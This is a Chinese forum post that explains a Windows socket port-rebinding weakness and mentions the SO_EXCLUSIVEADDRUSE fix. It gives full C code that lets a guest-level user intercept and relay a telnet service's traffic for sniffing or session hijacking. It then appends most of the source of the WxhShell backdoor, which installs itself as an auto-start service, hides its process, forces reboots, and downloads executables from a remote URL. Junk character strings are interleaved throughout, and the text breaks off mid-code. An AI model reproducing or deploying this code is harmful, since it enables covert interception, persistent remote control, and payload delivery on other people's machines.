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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bxz6 >>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tV.96P;)/9  
%'F[(VB   
  saddr.sin_family = AF_INET; Se/]J<]  
!Je!;mEvI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q[Y* .%~  
YWhS<}^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1p>&j%dk  
kJXy )  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Re\V<\$J  
"'8o8g  
  这意味着什么?意味着可以进行如下的攻击: o AS 'Z|  
?IG+U TI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4pu>f.  
0w^awT<$6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \]/ 6>yT  
!ImtnU}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D2Kh+~l  
`H;O! ty&d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]kkH|b$[T  
2L2)``*   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7 ( /  
[VB\ T|$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6v -2(Y  
9/GC8*+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  - zEQ/6  
W$Z""  
  #include U}`HN*Q.q  
  #include 8>^O]5Wo`X  
  #include Y1F P |  
  #include    nIP*yb}5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +Y^/0=6h  
  int main() a_(vpD^  
  { [.iz<Yh  
  WORD wVersionRequested; i%_nH"h  
  DWORD ret; n47v5.Wn  
  WSADATA wsaData; b{d@:"  
  BOOL val; t?kbN\,  
  SOCKADDR_IN saddr; n|iO)L\9aB  
  SOCKADDR_IN scaddr; ^RS`q+g  
  int err; |N>TPK&Xt  
  SOCKET s; 5SY(:!  
  SOCKET sc; VJ(#FA2  
  int caddsize; w+owx(mN@  
  HANDLE mt; #PRkqg+|  
  DWORD tid;   U,u\o@3A  
  wVersionRequested = MAKEWORD( 2, 2 ); *X lnEHv  
  err = WSAStartup( wVersionRequested, &wsaData ); cz9T,  
  if ( err != 0 ) { 1~q|%"J  
  printf("error!WSAStartup failed!\n"); }" 'l8t0?  
  return -1; {*PB+WGe  
  } 6d3-GMUQ  
  saddr.sin_family = AF_INET; VSt)~  
   fL&bN[XA"$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J4ltHk.|  
|P]>[}mD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v iY&D  
  saddr.sin_port = htons(23); MkG*6A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cc,,e`  
  { rt\4We,7  
  printf("error!socket failed!\n"); h=~ TgTv  
  return -1; 7fJWb)z!k  
  } c`&<"Us  
  val = TRUE; ON=6w_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Hi<5jl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "M.vu}~>  
  { &De&ZypU  
  printf("error!setsockopt failed!\n"); <Cw)S8t  
  return -1; 4HK#]M>yz  
  } ceR zHq=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ol'Ct'_k,"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r6`v-TY(/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 poYO  
<OEu 4,~:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?8Hr 9  
  { .qCD(XZ+  
  ret=GetLastError(); Ytnk^/Z1L  
  printf("error!bind failed!\n"); AA um1xl  
  return -1; Rx 4 ;X  
  } *1KrI9i  
  listen(s,2); E(oI0*S.5  
  while(1) n_51-^* z  
  { 58Fan*fO  
  caddsize = sizeof(scaddr); &pD6Qq{  
  //接受连接请求 ]?`t spm<t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =q( ;g]e  
  if(sc!=INVALID_SOCKET) 5Vzi{y/bL  
  { =5jX#Dc5.+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qffXm `k  
  if(mt==NULL) (W| Eg  
  { w#5^A(NR  
  printf("Thread Creat Failed!\n"); S]3t{s#JW7  
  break; y#Ao6Od6  
  } ^U.8grA  
  } Y\ len  
  CloseHandle(mt); bCF"4KXK  
  } [g:ZIl4p\P  
  closesocket(s); q]Cmaf(  
  WSACleanup(); @<tkwu  
  return 0; mRw &^7r  
  }   a 8Jn.!  
  DWORD WINAPI ClientThread(LPVOID lpParam) +tNu8M@xFo  
  { >?q()>l  
  SOCKET ss = (SOCKET)lpParam; kmm1b (  
  SOCKET sc; #s)Wzv%OX  
  unsigned char buf[4096]; Wej8YF@  
  SOCKADDR_IN saddr; T,,,+gPx  
  long num; gD0 FRKn  
  DWORD val; x-km)2x=W  
  DWORD ret; ;aip1Df  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CCOd4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2 Ke?*  
  saddr.sin_family = AF_INET; u|.L7 3<j%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wPYz&&W  
  saddr.sin_port = htons(23); t%wC~1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vJT %ET  
  { t3.;W/0_  
  printf("error!socket failed!\n"); aCe<*;b@  
  return -1; O<Rm9tZ8  
  } W|oLS  
  val = 100; mVN^X/L(y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i :wTPR  
  { NZSP*#!B  
  ret = GetLastError(); lz?F ,].  
  return -1; 4 e1=b,  
  } ^9 gFW $]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *4;MO2g  
  { {1.t ZCMT  
  ret = GetLastError(); i w<2|]>l  
  return -1; PK@hf[YHe  
  } B(x i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^<#08L;  
  { _ 6"!y ]Q  
  printf("error!socket connect failed!\n"); FV>LD% uu  
  closesocket(sc); )pV5l|`  
  closesocket(ss); "If]qX(w  
  return -1; ixZ w;+h  
  }  q[#2`  
  while(1) ,c#=qb8""  
  { 8*;88vW"2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sG`:mc~0   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 JW;DA E<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,lLkAd?q  
  num = recv(ss,buf,4096,0); 4i>sOP3 B  
  if(num>0) K'EGm #I  
  send(sc,buf,num,0); )2KQZMtgm]  
  else if(num==0) | -l)$i@  
  break; %Ji@\|Zkf  
  num = recv(sc,buf,4096,0); z{w!yMp"  
  if(num>0) /l-lkG5  
  send(ss,buf,num,0); vq|o}6Et  
  else if(num==0) T> cvV  
  break; =^m,|j|d>4  
  } &o>ctf.x  
  closesocket(ss); *Y'@|xf*  
  closesocket(sc); JyY-@GF  
  return 0 ; TQyi -Dc  
  } g z-X4A"  
V )CS,w  
SR@yG:~  
========================================================== 8y5iT?.~vy  
3VZeUOxY\W  
下边附上一个代码,,WXhSHELL s*.CJ  
XS5*=hv:  
========================================================== G:NI+E"]  
7yGc@kJ?  
#include "stdafx.h" m?I$XAE  
i#o:V/Z .  
#include <stdio.h> zrWkz3FN  
#include <string.h> T >X nVK  
#include <windows.h> 4viP lO  
#include <winsock2.h> dGU io?  
#include <winsvc.h> AvF:$ kG  
#include <urlmon.h> M}|<# i7u  
LP?E  
#pragma comment (lib, "Ws2_32.lib") .'QE o  
#pragma comment (lib, "urlmon.lib")  :feU  
XLe8]y=  
#define MAX_USER   100 // 最大客户端连接数 <u2rb6  
#define BUF_SOCK   200 // sock buffer `wRQ-<Y  
#define KEY_BUFF   255 // 输入 buffer ^a&-GhX;  
#jAlmxN  
#define REBOOT     0   // 重启 #flOaRl.  
#define SHUTDOWN   1   // 关机 bkfwsYZx  
=~M%zdIXv  
#define DEF_PORT   5000 // 监听端口 <WN?  
bjvpYZC\5  
#define REG_LEN     16   // 注册表键长度 ^s z4-+>  
#define SVC_LEN     80   // NT服务名长度 B]Vnu7  
LWQ.!;HYp  
// 从dll定义API [jb3lO$Xa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [\(}dnj:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZPHiR4fQli  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l<fZt#T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $e66jV  
n#,<-Rb-  
// wxhshell配置信息 =SJwCT0;  
struct WSCFG { QJ2V&t"3  
  int ws_port;         // 监听端口 j{00iA}  
  char ws_passstr[REG_LEN]; // 口令 2%Bq[SMuN  
  int ws_autoins;       // 安装标记, 1=yes 0=no +X)n}jh  
  char ws_regname[REG_LEN]; // 注册表键名 d1YE$   
  char ws_svcname[REG_LEN]; // 服务名 HAa2q=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oxkA+}^j8M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EugQr<sM#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X=O}k&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /5 rWcX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tmM8YN|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6E~T$^Q}  
v0EF?$Wo  
}; >05_#{up  
^B[%|{cO  
// default Wxhshell configuration $FV!HD  
struct WSCFG wscfg={DEF_PORT, qI-q%]l  
    "xuhuanlingzhe", m/W0vPM 1  
    1, M>H4bU(  
    "Wxhshell", 5 fpBzn$  
    "Wxhshell", xlQl1lOX  
            "WxhShell Service", bo^d!/ ;  
    "Wrsky Windows CmdShell Service", }1<_  
    "Please Input Your Password: ", q:A{@kFq_  
  1, a%f?OsY  
  "http://www.wrsky.com/wxhshell.exe", 'Oyx X  
  "Wxhshell.exe" Y{yN*9a79  
    }; =Kdd+g!  
Z]-C,8MM  
// 消息定义模块 pAwmQS\W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C1 qyjlR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a&yIH;-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fJ"#c<n  
char *msg_ws_ext="\n\rExit."; -oGJPl{r  
char *msg_ws_end="\n\rQuit."; 2w>l nJ-  
char *msg_ws_boot="\n\rReboot..."; *Jd,8B/hC  
char *msg_ws_poff="\n\rShutdown..."; <YU+W"jQT  
char *msg_ws_down="\n\rSave to "; -~z]ut<Z  
CS[[TzC=5  
char *msg_ws_err="\n\rErr!"; P $4h_dw  
char *msg_ws_ok="\n\rOK!"; rN3i5.*/t  
UO-<~DgH  
char ExeFile[MAX_PATH]; )3O0:]<H  
int nUser = 0; z0ULB? *"  
HANDLE handles[MAX_USER]; cZ$!_30N+  
int OsIsNt; rTJv>Jjld  
q3.L6M  
SERVICE_STATUS       serviceStatus; ,BuN]9#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -OLXRc=  
5fGUJ[F=  
// 函数声明 \VW&z:/*pZ  
int Install(void); .:eNL]2%:  
int Uninstall(void); ]V9z)uz  
int DownloadFile(char *sURL, SOCKET wsh); gemjLuf  
int Boot(int flag); RfPRCIo  
void HideProc(void); I"*;fdm  
int GetOsVer(void); }@Mx@ S  
int Wxhshell(SOCKET wsl); 0>D:  
void TalkWithClient(void *cs); D8+68_BEM  
int CmdShell(SOCKET sock); ^Pc>/lY$Q%  
int StartFromService(void); G$\2@RT9[  
int StartWxhshell(LPSTR lpCmdLine); BV=L.*  
C9oF*{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |JVeW[C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %,9iY&;U"  
*|c*/7]<  
// 数据结构和表定义 mPR(4Ol.  
SERVICE_TABLE_ENTRY DispatchTable[] = t >89( k  
{ 1c=Roiq  
{wscfg.ws_svcname, NTServiceMain}, xJ"CAg|B  
{NULL, NULL} {.7ve<K  
}; Ln;jB&t  
"Fv6u]Rv  
// 自我安装 X8T7(w<0%f  
int Install(void) R#Z1+&='  
{ Nkfu k  
  char svExeFile[MAX_PATH]; 1k@k2rE  
  HKEY key; =2%EIZ0oW  
  strcpy(svExeFile,ExeFile); \! 8`kC  
.ON+ ( #n  
// 如果是win9x系统,修改注册表设为自启动 vfT<%Kl!'  
if(!OsIsNt) { dvUBuY^[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [0GM!3YJ7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /*GRE#7S  
  RegCloseKey(key); [kqxC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S fE^'G\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W-Cf#o  
  RegCloseKey(key); EXz5Rue LV  
  return 0; I>b-w;cC  
    } +NRn>1]  
  } hA`>SkO  
} kP%Hg/f/Ot  
else { DI=Nqa)r  
HF-Msu6  
// 如果是NT以上系统,安装为系统服务 t`{^gt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sV7dgvVd  
if (schSCManager!=0) lj"L Q(^  
{ P=& Je?  
  SC_HANDLE schService = CreateService (sw1HR  
  ( 2tvMa%1^  
  schSCManager, ?MhRdY  
  wscfg.ws_svcname, uh`@qmu)  
  wscfg.ws_svcdisp, t#|E.G:=  
  SERVICE_ALL_ACCESS, G)l[\6Dn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P[{w23`4  
  SERVICE_AUTO_START, JH!qGV1  
  SERVICE_ERROR_NORMAL, _C?<re3*  
  svExeFile, |7Z,z0 ?V  
  NULL, >vg!<%]W]  
  NULL, 9/w'4bd  
  NULL, YgaJ*%\  
  NULL, Co8b0-Z  
  NULL 3OHP-oa.  
  ); x+5Q}ux'G  
  if (schService!=0) 0_bt*.w I+  
  { 6wzF6] @O  
  CloseServiceHandle(schService); zTY|Z@:  
  CloseServiceHandle(schSCManager); ok X\z[X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (H9%a-3  
  strcat(svExeFile,wscfg.ws_svcname); uVqJl{e\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ovCk :Vz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,TU!W|($  
  RegCloseKey(key); uMF\3T(x4  
  return 0; ~%^af"_  
    } UQ>GAzh  
  } < W,k$|w  
  CloseServiceHandle(schSCManager); w;Qo9=-  
} qce#  
} 8 Oeg"d  
TMG:fg&E~  
return 1; C5Q|3d  
} #I@]8U#,":  
(~pcPGUG  
// 自我卸载 8{Y ?;~G  
int Uninstall(void) &RXd1>|c2  
{ ~U8#Iq1  
  HKEY key; ;-=y}DK  
nvD"_.KrJ  
if(!OsIsNt) { 1L'[DKb'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?w# >Cs(  
  RegDeleteValue(key,wscfg.ws_regname); I(Nsm3L  
  RegCloseKey(key); lGPC)Hu{`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S^)r,cC  
  RegDeleteValue(key,wscfg.ws_regname); <E@ 7CG.=  
  RegCloseKey(key); GMU<$x8o  
  return 0; *cp|lW!ag  
  } #2DH_P  
} z/fRd6|[  
} N(&FATZUW  
else { Nl_!%k:  
qx{.`AaZW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &7Ixf?e!K  
if (schSCManager!=0) `#fOY$#XB  
{ _DC/`_'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g)$Pvfc  
  if (schService!=0) |[K7oa~#  
  { =&"Vf!7YR7  
  if(DeleteService(schService)!=0) { D0i84I`Z%  
  CloseServiceHandle(schService); bS/`G0!  
  CloseServiceHandle(schSCManager); g8XGZW!  
  return 0; C4Z~9fzT  
  } SX^fh.  
  CloseServiceHandle(schService); 94APjqV6'  
  } w^|,[G ^}H  
  CloseServiceHandle(schSCManager); X 3L9j(  
} w#F+rh3  
} |@nvg>mu  
?xQ lX%&`6  
return 1; (6+6]`c$  
} 8fM}UZI  
@hzQk~Gdi  
// 从指定url下载文件 `4}!+fXQ  
int DownloadFile(char *sURL, SOCKET wsh) 0*3 <}  
{ &K>]!yn   
  HRESULT hr; $:u,6|QsS=  
char seps[]= "/"; 20?i4h_  
char *token; %\~;I73  
char *file; sF+0v p  
char myURL[MAX_PATH]; mApn(&  
char myFILE[MAX_PATH]; 8~HC0o\2  
WP]<\_r2  
strcpy(myURL,sURL); {Y/| 7Cl0  
  token=strtok(myURL,seps); v9inBBC q  
  while(token!=NULL) R1Pnj  
  { e982IP  
    file=token; {6%uNT>|  
  token=strtok(NULL,seps); ^OBaVb  
  } # Jdip)  
|Y'$+[TE  
GetCurrentDirectory(MAX_PATH,myFILE); =rBFMTllM  
strcat(myFILE, "\\"); H <1?<1^  
strcat(myFILE, file); _5`M( ;hL2  
  send(wsh,myFILE,strlen(myFILE),0); ^F"*;8$  
send(wsh,"...",3,0); /t>o -  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V)@MM2,  
  if(hr==S_OK) mCz6&  
return 0; Q%eBm_r;  
else }MIH{CMH  
return 1; 5z]dA~;*2  
$AXz/fGV  
} %<M<'jxSca  
u^]yz&9V  
// 系统电源模块 p +T&9  
int Boot(int flag) D~?kvyJ  
{ %I.{umU  
  HANDLE hToken; -:~`g*3#  
  TOKEN_PRIVILEGES tkp; `PW=_f={  
 Nl_;l  
  if(OsIsNt) { j}VOr >xz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <khx%<)P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vlPE8U=  
    tkp.PrivilegeCount = 1; ;etQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ttsB'|p s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8uT6QCf  
if(flag==REBOOT) { .|aSGv E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aDOH3Ri0K!  
  return 0; 1|nB\xgu  
} E{fnh50^Q.  
else { )I>rC%2P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )/U1; O  
  return 0; I L\mFjZ'  
} i&HV8&KygN  
  } :_aY:`  
  else { U3V<ITZI8t  
if(flag==REBOOT) { 6)3eB{$;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =#V11j  
  return 0; Z|/):nVP7  
} F4&N;Zm2  
else { &.z/dFmG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *C:+N>  
  return 0; A;|DQR()  
} uLCU3nI  
} 'pe0Q-  
Za f)  
return 1; <+b:  
} %nCUct@c  
J6%op{7/  
// win9x进程隐藏模块 9@1W=sl  
void HideProc(void) ~>C>LH>8  
{ *Qf }4a0  
7wqwDE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #NE^f2  
  if ( hKernel != NULL ) *Vc=]Z2G^  
  { Kje+Niz7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -J30g\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FG H>;H@  
    FreeLibrary(hKernel); Jzdc'3dq  
  } 6~8 RFf"  
2G-? P"4l@  
return; bpx=&74,6m  
} bT8UmR98  
bGJUu#  
// 获取操作系统版本 5QSmim  
int GetOsVer(void) 1P[Lz!C  
{ 3a qmK.`H  
  OSVERSIONINFO winfo; &f yFUg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vj]kJ,j\y  
  GetVersionEx(&winfo); X^W> "q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5oKc=iX_3  
  return 1; xY S%dLE"  
  else YXtGuO\q  
  return 0; d<Os TA  
} !LJ.L?9qw  
J50 ~B3bj`  
// 客户端句柄模块 %_[-[t3  
int Wxhshell(SOCKET wsl) yq}{6IyZ^  
{ xAjQW=  
  SOCKET wsh; gAj)3T@  
  struct sockaddr_in client; :#/bA&  
  DWORD myID; r+\z0_' w6  
%p9bl ,x  
  while(nUser<MAX_USER) c6HU'%v  
{ zK 2wLX  
  int nSize=sizeof(client); #$w#"Nr9k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?lK!OyCkc  
  if(wsh==INVALID_SOCKET) return 1; sb @hGS  
FJLJ;]`7+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FZ9<Q  
if(handles[nUser]==0) %wf|nnieZ  
  closesocket(wsh); pPZ/O 6  
else gQuw|u  
  nUser++; L0kNt &di  
  } NXBOo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0 MIMs#  
gDub+^ye>/  
  return 0; -W_s]oBg  
} .Y|\7%(  
V,+[XB  
// 关闭 socket xp&!Cl>C3\  
void CloseIt(SOCKET wsh) S=}~I  
{ 9oP{Al  
closesocket(wsh); *d@Hnu"q  
nUser--; x+cF1 N2.  
ExitThread(0); H/k W :k  
} n@;x!c< +  
$3'+V_CZ3  
// 客户端请求句柄 j7 =3\SO  
void TalkWithClient(void *cs) LJwMM  
{ M0SH-0T;Z  
pV6HQ:y1  
  SOCKET wsh=(SOCKET)cs; :BX{ *P  
  char pwd[SVC_LEN]; )$B+ 3f  
  char cmd[KEY_BUFF]; !B lk=L+p  
char chr[1]; o# xg:m_py  
int i,j; ;8i L,^.A  
~ n^G<iXLp  
  while (nUser < MAX_USER) { 0f%:OU5Y  
;_/q>DR>,3  
if(wscfg.ws_passstr) { 8 %j{4$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o0G`Xn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nV3 7` I  
  //ZeroMemory(pwd,KEY_BUFF); Tr0V6TS7  
      i=0; E`fssd~  
  while(i<SVC_LEN) { 1=Zw=ufqV  
oqba:y;AR  
  // 设置超时 ms7 7{A3  
  fd_set FdRead; %^=!s  
  struct timeval TimeOut; ocqB-C]  
  FD_ZERO(&FdRead); Tud1xq  
  FD_SET(wsh,&FdRead); n u8j_grW  
  TimeOut.tv_sec=8; q#&#*6 )B  
  TimeOut.tv_usec=0; }t2pIkF;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IZ0$=aB7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); En9]x"_  
\TB%N1^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5^K#Tj ;2  
  pwd=chr[0]; +M##mRD  
  if(chr[0]==0xd || chr[0]==0xa) { [4Faq3T"  
  pwd=0; ^D;D8A.  
  break;  6b]d|  
  } h ^h-pd  
  i++; Tn0l|GRuZA  
    } n& m?BuG  
(}X?v`Y^W  
  // 如果是非法用户,关闭 socket N>fYH.c3Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r!$NZ2I  
} mBZ Dl4 '  
"QO/Jls  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i!W8Q$V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S@xsAib0J  
pLQSG}N  
while(1) { )L<?g !j~  
0r-lb[n8i  
  ZeroMemory(cmd,KEY_BUFF); I?Jii8|W9  
|SP.S 0.y  
      // 自动支持客户端 telnet标准   tnF9Vj[#%_  
  j=0; mvA xx`jc  
  while(j<KEY_BUFF) { *:T>~ilF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "YzTMKu  
  cmd[j]=chr[0]; oT)VOkFq  
  if(chr[0]==0xa || chr[0]==0xd) { [du>ff  
  cmd[j]=0; '<D`:srV  
  break; gn W~KLqH  
  } r.wIk0  
  j++; N9=r#![>,  
    } 2v9s@k/k)6  
K%c ATA3  
  // 下载文件 !^l4EL5#  
  if(strstr(cmd,"http://")) { R_Gq8t$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tM$0 >E  
  if(DownloadFile(cmd,wsh)) {?f^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6l\UNG7  
  else ?gR\A8:8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nG ^M 2)(8  
  } 2b4pOM7W  
  else { J7?)$,ij%  
]v@tZ}  
    switch(cmd[0]) { Iwt2}E(e  
  K"k"ml<4E  
  // 帮助 ]PzTl {]  
  case '?': { r$r&4d Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k~jKJb-_  
    break; 8q~FUJhU  
  } {{]=zt|69  
  // 安装 /y](mu"!  
  case 'i': { 6PJJ?}P^1  
    if(Install()) "_1-IE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )qyx|D  
    else ~f=6?5.wa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dx13vZ3[U  
    break; XW~ BEa  
    } tT* W5  
  // 卸载 YZBzv2'\x  
  case 'r': { qsft*&  
    if(Uninstall()) ^EUOmVN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I^M#[xA  
    else  bL'#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4VmCW"b7h  
    break; )"_Ff,9Z!  
    } #U$YZ#B  
  // 显示 wxhshell 所在路径 X&9^&U=e  
  case 'p': { b>bgUDq  
    char svExeFile[MAX_PATH]; uq|vNLW26  
    strcpy(svExeFile,"\n\r"); Lov.E3S6;  
      strcat(svExeFile,ExeFile); 3%[)!zKv  
        send(wsh,svExeFile,strlen(svExeFile),0); miG; ]-"^  
    break; [/AdeR  
    } P^b:?%  
  // 重启 yul<n>X|  
  case 'b': { W>?f^C!+m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h{W$ fZc<  
    if(Boot(REBOOT)) )4!CR/ao  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d^Zo35X  
    else { [GR|$/(z=  
    closesocket(wsh); 7cUR.PI#Q  
    ExitThread(0); %UUp=I  
    } Ok}{jwJ%W;  
    break; o\@ A2r3  
